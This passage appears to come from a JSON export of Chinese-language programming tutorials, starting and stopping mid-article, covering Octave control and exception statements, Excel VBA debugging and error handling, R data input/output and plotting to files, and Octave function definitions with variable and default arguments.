3) == 0) printf(\u0026#34;%d\\n\u0026#34;, x); endif endfor unwind_protect 敘述（The unwind_protect Statement） Octave 中提供了一個用於例外處理（exception handling）的 unwind_protect 敘述，其作用類似 Lisp 語言的 unwind-protect，用法為：\nunwind_protect body unwind_protect_cleanup cleanup end_unwind_protect body 與 cleanup 可以是任何的 Octave 敘述，並且都是選擇性的（可以省略），不管 body 的執行結果如何（即使有錯誤發生），最後 cleanup 的程式碼一定會被執行。\nunwind_protect 敘述可以避免由於執行錯誤而導致更動到一些全域變數的情況，下面的範例中不管 body 執行的情況如何，全域變數 frobnosticate 都會保持原來的值：\nsave_frobnosticate = frobnosticate; unwind_protect frobnosticate = true; % ... unwind_protect_cleanup frobnosticate = save_frobnosticate; end_unwind_protect 若沒有使用 unwind_protect 敘述，則當前面的程式碼（body 部份）執行出現錯誤時，會直接離開此程式，位於後面的程式碼（cleanup 部份）將不會被執行。\ntry 敘述（The try Statement） 除了 unwind_protect 敘述之外，Octave 也支援另一種例外處理的 try 敘述，其用法為：\ntry body catch cleanup end_try_catch 其中 body 與 cleanup 可以是任何的 Octave 敘述，並且都是選擇性的（可以省略），cleanup 的程式碼只有在 body 執行出現錯誤時才會執行。\n在 try 敘述中的 body 程式碼出現錯誤時，並不會輸出錯誤訊息，在 cleanup 中可以使用 lasterr() 函數來取得最後一次的錯誤訊息（關於 lasterr() 函數可以參考錯誤與警告），例如：\ntry error(\u0026#34;test message.\u0026#34;) catch errmsg = lasterr(); printf(\u0026#34;Error Message: %s\\n\u0026#34;, errmsg); end_try_catch 輸出為\nError Message: test message. try 與 catch 敘述的功能與 eval(try, catch) 相同，但其在執行的效率較高，因為 Octave 不需要在每一次執行前解析程式碼。\n多行指令（Continuation Lines） 在 Octave 中的敘述都是以換行符號作為一個指令的結束，若要將一個指令分成多行來輸入，則可以在行尾加上多行連續符號 ... 或 \\ 以接下一行，例如：\nx = 1 + 2 + 3 ... + 4 + 5 \\ + 6 + 7 這樣會輸入一個跨越三行的敘述，反斜線若位於一行的最後一個字元會被當成連接行與行的符號，而不會被視為除法運算子。\n只要不是使用在字串內，多行連續符號之後還可以再加上空白或註解，例如上面的敘述也可以這樣寫：\nx = 1 + 2 + 3 ... # comment one + 4 + 5 # comment two + 6 + 7 # last comment 若是在字串當中使用多行連續符號，則必須放在一行的結尾，其後方緊接著換行字元。\n若是將括號中的敘述分成多行，則可以不需要加入多行連續符號，例如：\nif (fine_dining_destination == on_a_boat || fine_dining_destination == on_a_train) seuss (i, will, not, eat, them, sam, i, am, i, will, not, eat, green, eggs, and, ham); endif 這樣可以不需要輸入讓人感覺難以閱讀的多行連續符號。\n","permalink":"https://blog.gtwang.org/octave/octave-statements/","summary":"\u003cp\u003eOctave 中的敘述（statements）可以是簡單的常數或是複雜的運算式與判斷式。控制敘述（control statements）可以控制 Octave 程式的執行，例如：\u003ccode\u003eif\u003c/code\u003e 或 \u003ccode\u003ewhile\u003c/code\u003e 等敘述。許多控制敘述中還會包含了其他的敘述，例如 \u003ccode\u003eif\u003c/code\u003e 敘述就常常包含了一些可執行或是不可執行的敘述。\u003c/p\u003e","title":"Octave 敘述（Statements）"},{"content":"這裡介紹各種處理 VBA 程式的除錯技巧與錯誤處理用法，並提供幾個基礎範例。\n在 Excel 中使用 VBA 撰寫程式，難免都會遇到程式出問題的狀況，例如程式跑不出來，或是執行結果不正確等，通常程式的問題可分為兩種，一種是程式開發者不小心所造成的臭蟲（bug），例如程式設計不良、程式碼打錯字等，這種狀況就要在開發程式時，使用 VBA 的各種除錯技巧把問題找出來。\n另外一種狀況是程式本身沒問題，但使用者操作不當所造成的錯誤（error），例如輸入錯誤的資料、或是程式需要讀取的檔案不存在等，遇到這類的問題就要撰寫 VBA 的錯誤處理程式碼，針對各種錯誤進行妥善的處理。\n除錯技巧（Debug） 開發 VBA 程式時，在撰寫好程式碼之後，都會先測試一下，看看執行的結果如何，若要測試 VBA 程式碼的執行狀況，最方便的做法就是善用 Visual Basic 的開發工具。\n若要測試某個子程序（Sub）的執行狀況，可將游標移動到該子程序中，這時候視窗右上角的子程序名稱會即時顯示目前游標所在的子程序名稱，接著按下工具列上面的執行按鈕，這樣就可以立刻執行這個子程序，觀察執行結果。\n如果程式出現問題時，就會出現類似這樣的錯誤訊息視窗，這時候如果要檢查錯誤的程式碼，可以選擇「偵錯」。\n點選「偵錯」之後，就會開啟中斷模式的程式碼視窗，並顯示目前程式出問題的位置。\n如果遇到語法錯誤、打錯字等比較單純的問題，我們可以透過檢查出問題的程式碼，找出問題的所在，但如果是邏輯性的問題，可能就要查看程式執行時，每個變數的實際內容。\n在中斷模式中，我們可以將滑鼠移動到要觀察的變數上，這樣就可以立即查看變數的內容，幫助我們找出問題點。\n如果程式碼中有比較複雜的運算，也可以用滑鼠把運算式子選取起來，這樣它就會顯示運算出來的數值。\n程式中斷點 如果遇到程式執行都沒有出現錯誤，但是執行的結果又跟預期不同，也不曉得問題在哪裡的時候，就可以考慮使用設定程式中斷點的方式來除錯。\n首先在程式比較可疑的地方，使用滑鼠新增中斷點，設定好之後，再執行程式。\n設定中斷點之後，程式執行時就會在中斷點的位置暫停，讓開發者可以慢慢檢查每個變數的內容。\n逐行執行 如果程式要檢查的地方非常多，就可以直接使用逐行執行程式的方式來除錯。\n按下 F8 按鍵之後，程式就會從子程序的第一行開始逐行執行，每按一下就會執行一行，而在程式執行的期間，我們都可以隨時用滑鼠來查看每個變數的內容，找出有問題的地方。\n中斷程式執行 如果在寫迴圈時，不小心寫成了無窮迴圈，執行之後就會停不下來，就像這樣：\nDim x As Long x = 5 \u0026#39; 無窮迴圈 Do While x \u0026gt; 2 x = x + 1 Loop 遇到無法停止的程式，可以按下鍵盤上的 Esc 按鍵，或是 Ctrl + break 按鍵，讓程式立即停止執行。\n監看式 在程式的除錯過程中，我們可能會需要觀察多個變數或運算式的內容變化，這時候就可以將有興趣的運算式選取起來，在滑鼠右鍵選單中點選「新增監看式」。\n填入想要觀察的運算式。\n設定好的監看式會顯示在監看式的視窗中，這樣就可以比較方便同時觀察好多的變數或是運算式。\n錯誤處理（Error Handling） 一個完整的 VBA 應用程式，縱使程式碼本身沒有任何設計上的錯誤，也難免會需要處理程式出錯的狀況，典型常見的問題包含輸入錯誤的資料、要讀取的檔案不存在或是各種使用者操作不當所造成的錯誤。\n若要對程式實際執行期間所發生的錯誤進行一些處理，就可以使用錯誤處理（error handling）的機制，自動對不同的錯誤做出對應的動作，並決定程式是否要繼續執行，或是直接終止。\n預設的狀況下，只要程式出現任何錯誤，就會跳出錯誤訊息的視窗，並且終止程式的執行（就像之前的範例那樣），我們可以使用 On Error 自訂錯誤的處理方式，以下是一個簡單的範例。\nSub Hello() On Error GoTo ErrorHandler \u0026#39; 啟用錯誤處理機制 Dim x, y, z As Integer x = 10 y = 0 z = x / y \u0026#39; 出現除以 0 的錯誤 MsgBox \u0026#34;z = \u0026#34; \u0026amp; z Exit Sub \u0026#39; 結束子程序 ErrorHandler: \u0026#39; 錯誤處理用的程式碼 MsgBox \u0026#34;錯誤 \u0026#34; \u0026amp; Err.Number \u0026amp; \u0026#34;：\u0026#34; \u0026amp; Err.Description Resume Next \u0026#39; 繼續往下執行 End Sub 這裡的程式碼可分為上下兩部分，上半部為正常的程式碼，下半部是專門用來處理錯誤的程式碼。\n上半部程式碼的第一行，我們使用 On Error 來設定當錯誤發生時的處理方式，錯誤處理的方式有好幾種，最常用的就是使用 GoTo 設定錯誤處理程式碼的位置（也就是這裡的 ErrorHandler），這樣設定的話，當程式發生錯誤時就會直接跳到下方 ErrorHandler: 的位置來處理錯誤。\n在這個程式中，我們故意讓程式產生除以零的錯誤，當錯誤發生時就直接跳到下方 ErrorHandler: 的位置，以 MsgBox 輸出錯誤的編號與錯誤的描述。\n接著再呼叫 Resume Next 繼續回到上方正常的程式碼中，從出錯的下一行繼續執行，也就是輸出 z 的值，但是因為 z 的值在之前計算時出錯了，所以它的值是沒有意義的。\n我們可以調整這部分的錯誤處理程式碼，自行決定是否要繼續執行，或是直接終止程式。若要在錯誤處理完之後，直接離開子程序，就把 Resume Next 那一行刪掉即可，這樣程式就會按照正常的方式離開子程序。\n忽略錯誤 如果要讓程式忽略任何的錯誤，可以將 On Error 的處理方式指定為 Resume Next。\nOn Error Resume Next \u0026#39; 忽略錯誤，繼續執行 Dim x, y, z As Integer x = 10 y = 0 z = x / y \u0026#39; 出現除以 0 的錯誤 MsgBox \u0026#34;z = \u0026#34; \u0026amp; z 這樣程式在執行時，不管出了什麼問題，都不會顯示錯誤訊息，而且會繼續執行直到程式結尾。\n參考資料 Excel Easy tutorialspoint ExcelFunctions.net ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-debug-error-handling/","summary":"\u003cp\u003e這裡介紹各種處理 VBA 程式的除錯技巧與錯誤處理用法，並提供幾個基礎範例。\u003c/p\u003e\n\u003cp\u003e在 Excel 中使用 VBA 撰寫程式，難免都會遇到程式出問題的狀況，例如程式跑不出來，或是執行結果不正確等，通常程式的問題可分為兩種，一種是程式開發者不小心所造成的臭蟲（bug），例如程式設計不良、程式碼打錯字等，這種狀況就要在開發程式時，使用 VBA 的各種除錯技巧把問題找出來。\u003c/p\u003e","title":"Excel VBA：除錯技巧與錯誤處理"},{"content":"這裡介紹 R 資料輸入與輸出的基本技巧，包含 R 程式碼、文字資料的讀取與儲存，以及圖形檔案的輸出。\n在使用 R 分析資料時，資料的來源是整個分析流程中不可缺少的環節，而分析的結果也常常需要輸出成文字報表，或是以圖形檔案的方式呈現，以下將介紹 R 中最基本的程式碼指令稿運用、資料讀取與儲存技巧，還有各種點陣圖與向量圖的輸出方式。\n程式碼輸入與輸出 通常使用者以 R 撰寫程式碼時，都會將寫好的程式碼儲存在指令稿（.R 檔）檔案中，方便程式碼重複使用。若要從 R 中載入並執行指令稿中的程式碼，可以使用 source 指令，例如：\nsource(\u0026#34;script.R\u0026#34;) source 預設在執行指令稿中的 R 程式碼時，除非遇到有呼叫 print 這類的輸出函數，否則不會有特別的輸出訊息，如果想要讓 R 在執行程式時，可以順便輸出執行的內容（就像自己複製與貼上程式碼一樣），可以加上 echo = TRUE 參數：\nsource(\u0026#34;script.R\u0026#34;, echo = TRUE) \u0026gt; set.seed(1) \u0026gt; (test.x \u0026lt;- runif(5)) [1] 0.2655087 0.3721239 0.5728534 0.9082078 0.2016819 如果要將 R 中執行過的歷史指令儲存在檔案中，可以使用 savehistory 指令：\nsavehistory(\u0026#34;my_history.R\u0026#34;) 這樣就會將 R 的指令儲存成一般的 .R 指令稿，也就是說這個指令稿也可以使用 source 來執行。若要載入檔案中的歷史指令，可以使用 loadhistory 指令：\nloadhistory(\u0026#34;my_history.R\u0026#34;) R 內建資料 R 的 datasets 套件提供了大約 100 個內建的資料集，使用 data 函數可以列出所有可用的資料集：\ndata() 這些資料都可以透過其名稱直接取用：\nhead(iris) Sepal.Length Sepal.Width Petal.Length Petal.Width Species 1 5.1 3.5 1.4 0.2 setosa 2 4.9 3.0 1.4 0.2 setosa 3 4.7 3.2 1.3 0.2 setosa 4 4.6 3.1 1.5 0.2 setosa 5 5.0 3.6 1.4 0.2 setosa 6 5.4 3.9 1.7 0.4 setosa CSV 檔案輸入 csv 檔是一種以逗點分隔欄位的資料檔，大多數的應用程式都會支援這種檔案格式。\n假設外部的 CSV 檔 data-1.csv 內容如下：\nPrice,Floor,Area,Rooms,Age,Cent.heat 52.00,111.0,830,5,6.2,no 54.75,128.0,710,5,7.5,no 57.50,131.0,690,6,8.8,no 59.75,93.0,900,5,1.9,yes read.csv 函數可以讀取外部的 CSV 檔：\nread.csv(\u0026#34;data-1.csv\u0026#34;) Price Floor Area Rooms Age Cent.heat 1 52.00 111 830 5 6.2 no 2 54.75 128 710 5 7.5 no 3 57.50 131 690 6 8.8 no 4 59.75 93 900 5 1.9 yes sep 參數可指定分隔字元：\nread.csv(\u0026#34;data-tab-1.csv\u0026#34;, sep = \u0026#34;t\u0026#34;) read.csv 亦可接受 URL：\nread.csv(\u0026#34;http://www.your.host/data.csv\u0026#34;) 文字檔案輸入 假設外部的文字檔 data-2.txt 內容如下：\n31 2 3 9 32 342 34 33 34 23 234 29 29 73 63 56 32 36 98 32 scan 可以將檔案中的資料直接讀取進來，變成一個向量：\nscan(\u0026#34;data-2.txt\u0026#34;) Read 20 items [1] 31 2 3 9 32 342 34 33 34 23 234 29 29 73 63 56 32 36 98 [20] 32 如果文字檔案的內容比較複雜，有文字與數值參雜時，可以根據資料的格式自行定義樣板，讓 scan 依照樣板讀取資料。\n假設文字檔 data-3.txt 每一筆資料包含一個字串與兩個數值：\nJohn 2.4 33 Joe 3.2 12 Mary 9.2 11 Dan 6 23 Willy 3.9 33 使用 scan 配合樣板讀取資料：\nscan(\u0026#34;data-3.txt\u0026#34;, list(name = \u0026#34;\u0026#34;, val.a = 0, val.b = 0)) Read 5 records $name [1] \"John\" \"Joe\" \"Mary\" \"Dan\" \"Willy\" $val.a [1] 2.4 3.2 9.2 6.0 3.9 $val.b [1] 33 12 11 23 33 假設文字檔 data-4.txt 都是一些字元，例如：\nMary Joe John Willy Dan 則使用：\nscan(\u0026#34;data-4.txt\u0026#34;, \u0026#34;\u0026#34;) Read 5 items [1] \"Mary\" \"Joe\" \"John\" \"Willy\" \"Dan\" 資料檔案輸出 如果想要讓程式的輸出訊息直接儲存至檔案，可以使用 sink 函數：\nsink(\u0026#34;sink-example.txt\u0026#34;) i \u0026lt;- 1:3 outer(i, i, \u0026#34;*\u0026#34;) sink() 輸出的 sink-example.txt 為：\n[,1] [,2] [,3] [1,] 1 2 3 [2,] 2 4 6 [3,] 3 6 9 save 函數可以將變數儲存於硬碟中：\nx \u0026lt;- c(1.2, 3.4, 5.6) y \u0026lt;- x ^ 2 save(x, y, file = \u0026#34;xy.RData\u0026#34;) load 函數則可將儲存的變數載入：\nrm(list = ls()) load(\u0026#34;xy.RData\u0026#34;) ls.str() x : num [1:3] 1.2 3.4 5.6 y : num [1:3] 1.44 11.56 31.36 save 函數預設在儲存資料時會使用 gzip 壓縮格來儲存，如果要儲存的資料非常大，可以更改壓縮的演算法：\nx.large \u0026lt;- runif(10^6) object.size(x.large) save(x.large, file = \u0026#34;compress.xz\u0026#34;, compress = \u0026#34;xz\u0026#34;) 以下是用各種壓縮格式所產生的檔案大小比較：\n壓縮格式 壓縮檔大小 gzip（預設值） 5.3 MB bzip2 4.8 MB xz 4.4 MB 如果要儲存單一個變數，也可以使用 saveRDS 來將資料儲存為 rds 檔：\nsaveRDS(women, \u0026#34;women.rds\u0026#34;) 若要從 rds 檔案中載入變數，可以使用 readRDS 函數：\nwomen2 \u0026lt;- readRDS(\u0026#34;women.rds\u0026#34;) identical(women, women2) 若要將 R 的 data frame 輸出為 csv 檔，可以使用 write.csv 函數：\nwrite.csv(cars, file = \u0026#34;output-cars.csv\u0026#34;) write.table 函數的功能與 write.csv 類似，但可用 sep 指定分隔字元：\nwrite.table(cars, file = \u0026#34;output-cars.csv\u0026#34;, sep = \u0026#34;t\u0026#34;) 圖形檔案輸出 png 函數可以將圖形輸出為 png 點陣圖檔：\nset.seed(5) x \u0026lt;- rnorm(100) png(\u0026#34;output.png\u0026#34;, width = 640, height = 360) # 設定輸出圖檔 hist(x) # 繪圖 dev.off() # 關閉輸出圖檔 輸出的圖形為：\njpeg、tiff 與 bmp 這些函數也可以將圖形輸出成各種不同的點陣圖檔，使用方式跟 png 函數都相同。\n若要輸出向量圖，可以使用 pdf 或是 svg 函數：\npdf(\u0026#34;output.pdf\u0026#34;, width = 4, height = 3) hist(x) dev.off() 如果要將 R 所繪製的圖形放在 LaTeX 中使用，可以使用 postscript 指令輸出成適用於 LaTeX 環境的 eps 向量圖檔：\npostscript(\u0026#34;output.eps\u0026#34;, width = 4.0, height = 3.0, horizontal = FALSE, onefile = FALSE, paper = \u0026#34;special\u0026#34;, family = \u0026#34;ComputerModern\u0026#34;, encoding = \u0026#34;TeXtext.enc\u0026#34;) hist(x) dev.off() 如果使用 ggplot2 套件在指令稿中畫圖時，必須加上 print 才能使圖形檔案正常輸出：\npdf(\u0026#34;output.pdf\u0026#34;, width = 4, height = 3) print(qplot(x)) dev.off() ggplot2 本身也提供了一個 ggsave 圖形輸出函數，它可以在 R 互動式的操作模式中，將已經畫在螢幕上的圖形輸出為圖檔：\nqplot(x) ggsave(\u0026#34;plot.pdf\u0026#34;, width = 4, height = 3) ","permalink":"https://blog.gtwang.org/r/r-data-input-and-output/","summary":"\u003cp\u003e這裡介紹 R 資料輸入與輸出的基本技巧，包含 R 程式碼、文字資料的讀取與儲存，以及圖形檔案的輸出。\u003c/p\u003e\n\u003cp\u003e在使用 R 分析資料時，資料的來源是整個分析流程中不可缺少的環節，而分析的結果也常常需要輸出成文字報表，或是以圖形檔案的方式呈現，以下將介紹 R 中最基本的程式碼指令稿運用、資料讀取與儲存技巧，還有各種點陣圖與向量圖的輸出方式。\u003c/p\u003e","title":"R 資料輸入與輸出"},{"content":"複雜的 Octave 程式可以經由定義函數的方式讓其架構更精簡，函數可以直接在命令列中定義或是寫在外部的檔案中，而其使用起來就像內建的函數一樣。\n定義函數（Defining Functions） 要定義一個函數最簡單的方式就是\nfunction name body endfunction 這樣會定義一個名稱為 name 的函數。函數的命名規則與一般的變數相同，可以使用英文字母、數字或下底線，但開頭不可以是數字，函數的命名空間與變數是共用的。body 部份包含了一個或多個敘述，其指定了此函數所要執行的程式碼，這是定義函數時最重要的部份。例如：\nfunction hello printf(\u0026#34;Hello.\\n\u0026#34;); endfunction 這樣會定義一個名稱為 hello 函數，呼叫此函數會使用 printf() 函數輸出字串 \u0026quot;Hello.\\n\u0026quot;（關於 printf() 函數可以參考輸入與輸出）。當定義完一個函數之後，可以直接使用函數的名稱來呼叫此函數，例如：\nhello 輸出為\nHello. 若要將變數傳入函數中，可以使用參數，使用方法為：\nfunction name (arg-list) body endfunction 其中 arg-list 是一個包含傳入參數的逗點分個序列，當函數被呼叫時，這些參數的名稱就會用來當作變數名稱，儲存函數呼叫時所傳入的值。arg-list 可以是空的，這個情況就跟上面沒有使用小括號的定義方式相同。\n將上面的例子加入傳入參數：\nfunction hello(msg) printf(\u0026#34;Hello, %s.\\n\u0026#34;, msg); endfunction 呼叫此函數\nhello(\u0026#34;world\u0026#34;) 輸出為\nHello, world. 若要將函數中的運算結果傳回，則可使用指定運算子加入函數的傳回值：\nfunction ret-var = name (arg-list) body endfunction ret-var 是一個變數名稱，其儲存的值會作為整個函數的傳回值，這個變數必須在函數結束之前定義，以便可以讓函數作為傳回值。\n在函數中所使用的變數都是此函數的區域變數，包含 arg-list 與 ret-var 也都是區域變數，若要在函數中存取全域變數，可以參考全域變數。\n下面的例子會計算一個向量中每個元素的平均值：\nfunction retval = avg (v) retval = sum (v) / length (v); endfunction 執行此函數：\navg([1, 3, 5, 7]) 輸出為\nans = 4 若將上面的 avg() 函數改寫成這樣\nfunction retval = avg (v) if (isvector (v)) retval = sum (v) / length (v); endif endfunction 此時若是呼叫此函數而傳入矩陣\nval = avg([1, 2; 4, 6]) 則會出現警告訊息：\nwarning: avg: some elements in list of return values are undefined val = [](0x0) 這是因為當傳入矩陣時，if 判斷式中的程式碼將不會執行，因此導致 retval 沒有被定義，為了避免出現這種含糊不清的訊息，建議在定義函數時，將每一種可能發生的情況都考慮進去，並且確定傳回值都有被定義，在必要時也能輸出較詳細的錯誤訊息，例如這個 avg() 函數就可以改寫成這樣：\nfunction retval = avg (v) retval = 0; if (isvector (v)) retval = sum (v) / length (v); else error (\u0026#34;avg: expecting vector argument\u0026#34;); endif endfunction 這樣可以解決傳入參數型態不符合的問題，但是若在呼叫此函數時沒有傳入任何參數，則還是會出現錯誤。若沒有更詳細的錯誤檢查，Octave 所輸出的錯誤訊息常常會讓程式設計者很難追蹤錯誤所發生的位置，為了處理這類的問題，Octave 提供了一個特殊的內建變數 nargin，當函數被呼叫時，這個變數會自動被初始化，其會紀錄此函數在呼叫時所傳入的參數個數。上面的 avg() 函數可以更改成這樣：\nfunction retval = avg (v) retval = 0; if (nargin != 1) usage (\u0026#34;avg (vector)\u0026#34;); endif if (isvector (v)) retval = sum (v) / length (v); else error (\u0026#34;avg: expecting vector argument\u0026#34;); endif endfunction 在 Octave 中若是在呼叫函數時傳入的參數個數超過函數所定義的個數，預設是不會產生錯誤的，但是會出現這樣的情況代表在程式中的某個地方一定有錯誤；若是傳入的變數比函數所宣告的個數少，在函數中使用那些沒有傳入的變數將會導致錯誤。為了避免以上兩種錯誤，建議在函數中加入對於這兩種情況的檢查，並針對各種錯誤輸出詳細的錯誤訊息。\nnargin () nargin (fcn_name) 若在函數中呼叫 nargin() 函數，則會傳回呼叫此函數時所傳入的參數個數；若在最上層呼叫 nargin() 則會傳回執行 Octave 時所傳入的命令列參數個數。nargin(fcn_name) 函數可以查詢函數 fcn_name 可以接受的最大參數個數，若傳回 -1 則表示此函數可以接受各種不同的參數個數。\ninputname (n) 在一個函數中呼叫 inputname(n) 函數會傳回呼叫此函數時所傳入的第 n 個參數。\nval = silent_functions () old_val = silent_functions (new_val) silent_functions() 函數可以查詢或設定是否要顯示函數中程式碼的執行輸出，若這個選項設定為 false，則 Octave 會顯示函數中沒有使用分號結尾的指令執行結果，預設是設為 false。例如：\nfunction test_output x = 1 endfunction 執行 test_output() 函數\ntest_output 輸出為\nx = 1 若是將 silent_functions() 設為 true：\nsilent_functions(true) test_output 則執行 test_output 時就不會輸出。\n多重傳回值（Multiple Return Values） Octave 的函數與一般程式語言函數有一個很大的差異，Octave 的函數可以有一個以上的傳回值，其使用方式為：\nfunction [ret-list] = name (arg-list) body endfunction 其中 name、 body 與 arg-list 與前面提到的函數用法相同，而 ret-list 是一個逗點分隔序列，其包含多個從此函數傳回的變數名稱，此逗點分隔序列中至少要包含一個元素，若其只包含一個元素，其效果就與前面介紹的單一傳回值的函數相同。\n下面這個函數會傳會一個向量中的最大值與其出現的位置：\nfunction [max, idx] = vmax (v) idx = 1; max = v (idx); for i = 2:length (v) if (v (i) \u0026gt; max) max = v (i); idx = i; endif endfor endfunction 這個例子中也可以將兩個傳回值合併成一個向量傳回，但這個方式並不適用每一種情況，例如在每個傳回值有不同的維度時，就很難合併成一個向量，另外使用多重傳回值的方式，可以為每個傳回值命名，使用起來也較為方便。\n在 Octave 的函數中，有一個內建的 nargout 變數，其會儲存呼叫此函數時，所要求的傳回值個數，這個變數會自動初始化，就像 nargin 一樣，這個功能可以讓函數依照不同的輸出參數而有不同的功能，例如內建的 svd() 與 lu() 函數就是這樣的函數。\n若不指定傳回值而儲存在預設的 ans 變數時，nargout 不會將這個 ans 變數計算在內，此時的 nargout 的值為 0。\n函數的多個傳回值中可以只設定其中一部分的值，但這樣會出現一些警告訊息，例如：\nfunction [x, y, z] = f () x = 1; z = 2; endfunction 執行 f()\n[a, b, c] = f () 輸出為\nwarning: f: some elements in list of return values are undefined a = 1 b = [](0x0) c = 2 沒有被設定的輸出參數，預設為空矩陣。\nnargout () nargout (fcn_name) 在一個函數中呼叫 nargout() 函數可以傳回呼叫此函數時所要求的傳回值個數；nargout(fcn_name) 函數會傳回函數 fcn_name 最大的傳回值個數，若傳回 -1 則表示此函數可以傳回不固定個數的傳回值。例如：\nf() 若這樣呼叫 f() 函數，則在 f() 函數中，nargout() 的值為0，而\n[s, t] = f () 若是這樣呼叫 f() 函數，則在 f() 函數中 nargout() 的值為 2。\nnargout() 函數只適用於函數中，若是在最上層的命列呼叫，則會產生錯誤。\nmsgstr = nargchk (minargs, maxargs, nargs) msgstr = nargchk (minargs, maxargs, nargs, \u0026#34;string\u0026#34;) msgstruct = nargchk (minargs, maxargs, nargs, \u0026#34;struct\u0026#34;) nargchk() 函數可用來檢查函數在呼叫時，是否有傳入正確個數的參數，若傳入的參數個數不正確，會傳回適當的錯誤訊息。此函數可用於檢查輸入的參數個數是否有在正確的範圍內。\nmsgstr = nargoutchk (minargs, maxargs, nargs) msgstr = nargoutchk (minargs, maxargs, nargs, \u0026#34;string\u0026#34;) msgstruct = nargoutchk (minargs, maxargs, nargs, \u0026#34;struct\u0026#34;) nargoutchk() 函數可用來檢查函數在呼叫時，是否有指定正確個數的傳回值，若指定的傳回值個數不正確，會傳回適當的錯誤訊息。此函數可用於檢查指定的傳回值個數是否有在正確的範圍內。\n可變長度參數列（Variable-length Argument Lists） 有的時候函數的參數個數在定義函數時還沒有辦法決定，例如一個傳回最小值的函數：\na = smallest (1, 2, 3); b = smallest (1, 2, 3, 4); 所得到的 a 與 b 都是 1，若要定義這樣的 smallest() 函數有一個辦法是將函數定義為\nfunction val = smallest (arg1, arg2, arg3, arg4, arg5) body endfunction 然後在 body 中以 nargin 變數判斷實際傳入的參數個數進而找出最小值，但這種方式只能用於有限個數的輸入參數。\nOctave 針對這種不固定參數個數的函數，提供了一個特別的方式，就是將一個特別的參數 varargin 放在最後一個參數的位置，加入這個特殊參數表示這個函數可以接受不過定的參數個數，例如上面的 smallest() 函數可以這樣定義：\nfunction val = smallest (varargin) body endfunction 在函數的 body 中，輸入的參數可以經由 varargin 變數來取得，此變數是一個包含輸入參數的巢狀陣列（cell array，請參考巢狀陣列），所以這個函數最後可以定義成這樣：\nfunction val = smallest (varargin) val = min ([varargin{:}]); endfunction 這樣定義的 smallest() 函數可以處理任何個數的參數，而且其程式碼非常簡單。\n下面這個例子比較複雜一點，它會輸出所有的參數：\nfunction print_arguments (varargin) for i = 1:length (varargin) printf (\u0026#34;Input argument %d: \u0026#34;, i); disp (varargin{i}); endfor endfunction 執行此函數\nprint_arguments (1, \u0026#34;two\u0026#34;, 3); 輸出為\nInput argument 1: 1 Input argument 2: two Input argument 3: 3 [reg, prop] = parseparams (params) parseparams() 函數會將逗點分隔序列 params 分為兩部分，第一個部份是 reg，其包含從第一個元素到第一個字串出現之前，而第二個 prop 則會包含除了 reg 之外的部分，例如：\n[reg, prop] = parseparams ({1, 2, \u0026#34;linewidth\u0026#34;, 10}) 輸出為\nreg = { [1,1] = 1 [1,2] = 2 } prop = { [1,1] = linewidth [1,2] = 10 } 可變長度多重傳回值（Variable-length Return Lists） 函數的傳回值亦可指定為不固定的個數，其用法就是在傳回值的部分加入一個 varargout，此參數與輸入參數的 varargin 一樣是一個巢狀陣列（cell array，請參考巢狀陣列）。例如下面這個函數會將第一個傳回值設為 1，第二個傳回值設為 2，以此類推：\nfunction varargout = one_to_n () for i = 1:nargout varargout{i} = i; endfor endfunction 執行此函數\n[a, b, c] = one_to_n () 輸出為\na = 1 b = 2 c = 3 varargout 參數要放在最後一個傳回值時，才有這種特別的作用，若不是放在最後一個，則會視為一般的傳回值。\n[r1, r2, ..., rn] = deal (a) [r1, r2, ..., rn] = deal (a1, a2, ..., an) deal() 函數會將輸入的參數指定為輸出的傳回值，例如：\n[a, b, c] = deal (1, 2, 3) 輸出為\na = 1 b = 2 c = 3 若只有一個輸入參數，則會將此參數指定給所有的傳回值，例如：\n[a, b, c] = deal (1) 輸出為\na = 1 b = 1 c = 1 函數返回敘述（Returning From a Function） 在 Octave 函數中可以使用 return 敘述跳過之後的程式碼提早離開函數，其使用方式很簡單：\nreturn Octave 的 return 敘述與 C 語言中的 return 不同，其功能只有離開目前的函數而已，無法傳回任何的值，若需要傳回值必須將要傳回的值指定給傳回值參數。\n下面這個範例會檢查一個向量中是否有任何一個元素不為0：\nfunction retval = any_nonzero (v) retval = 0; for i = 1:length (v) if (v (i) != 0) retval = 1; return; endif endfor printf (\u0026#34;no nonzero elements found\\n\u0026#34;); endfunction 這個函數中若要以 break 敘述來替代 return 敘述，則還要在加入一個判斷式控制最後輸出的訊息。\nreturn 當 Octave 在函數或指令稿中碰到 return 時，會馬上返回；若在最上層執行此敘述則沒有作用。在 Octave 中每一個函數的結尾預設都會執行 return 敘述。\n預設參數（Default Arguments） 由於 Octave 支援不固定的輸入參數，若配合設定參數的預設值在許多情況下會非常方便，參數預設值的使用方式為：\nfunction name (arg1 = val1, ...) body endfunction 若是這樣定義此函數，則在 arg1 沒有指定時，其預設值為 val1。例如：\nfunction hello (who = \u0026#34;World\u0026#34;) printf (\u0026#34;Hello, %s!\\n\u0026#34;, who); endfunction 若呼叫 hello() 沒有指定參數時\nhello(); 則 who 預設為 \u0026quot;World\u0026quot;，其輸出為\nHello, World! 若有指定參數\nhello (\u0026#34;Beautiful World of Free Software\u0026#34;); 輸出為\nHello, Beautiful World of Free Software! 若要明確告知 Octave 使用函數預設的參數，可以使用冒號，例如：\nhello(:); 輸出為\nHello, World! 函數檔案（Function Files） 使用函數檔案（Using Function Files） 在撰寫程式時，除了只使用一次的程式之外，通常會需要將自行定義的函數儲存在檔案中，以便日後使用。\n使用儲存在檔案中的函數時，可以不需要事先將其載入，當 Octave 遇到沒有定義的名稱時，會先檢查此名稱是否在已經存在於目前的符號表中，若在符號表中沒有此名稱，則會在載入路徑中尋找主檔名與此名稱相同的 .m 檔案，找到此檔案後會將其自動載入，若此檔案中只有定義一個函數，則此函數會被編譯後執行（若要在一個檔案中定義多個函數，請參考指令稿檔案）。\n當 Octave 從檔案中載入函數時，會一並將檔案的名稱與時間戳記（time stamp）記錄下來，若之後檔案的時間戳記有變動，Octave 會自動重新載入，藉由時間戳記的方式，可以讓使用者在執行 Octave 的同時，可以任意更改函數中的內容，存檔後即可在 Octave 中使用，不需要重新啟動 Octave。在以互動式的方式使用 Octave 時，檢查時間戳記的動作只會發生在 Octave 輸出提示符號的時候，而搜尋新的函數定義也只會發生在變更現行目錄的時候。\n為了避免 Octave 不斷的重複檢查那些不會更動的函數，而造成執行效率降低，Octave 預設將 octave-home/share/octave/version/m 中的函數都視為固定的函數（這個目錄下的函數都是 Octave 的一些內建函數），凡是放在這個路徑之下的函數，Octave 